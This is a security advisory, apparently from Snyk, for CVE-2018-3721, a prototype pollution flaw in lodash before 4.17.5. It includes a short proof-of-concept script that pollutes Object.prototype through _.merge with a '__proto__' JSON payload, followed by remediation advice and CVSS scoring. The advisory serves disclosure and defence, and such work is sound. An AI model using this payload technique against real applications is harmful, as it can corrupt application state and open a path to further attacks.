Prototype Pollution

Affecting lodash package, versions <4.17.5

Overview

lodash is a javaScript utility library delivering modularity, performance & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.

PoC by Olivier Arteau (HoLyVieR)

var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

Remediation

Upgrade lodash to version 4.17.5 or higher.

References

Snyk patch available for versions:

Do your applications use this vulnerable package?

CVSS Score

1.8
low severity
  • Attack Vector
    Local
  • Attack Complexity
    High
  • Privileges Required
    High
  • User Interaction
    Required
  • Scope
    Unchanged
  • Confidentiality
    None
  • Integrity
    None
  • Availability
    Low
CVSS:3.0/AV:L/AC:H/PR:H/UI:R/S:U/C:N/I:N/A:L/E:F/RL:O/RC:C
Credit
Olivier Arteau (HoLyVieR)
CVE
CVE-2018-3721
CWE
CWE-400
Snyk ID
npm:lodash:20180130
Disclosed
30 Jan, 2018
Published
14 Feb, 2018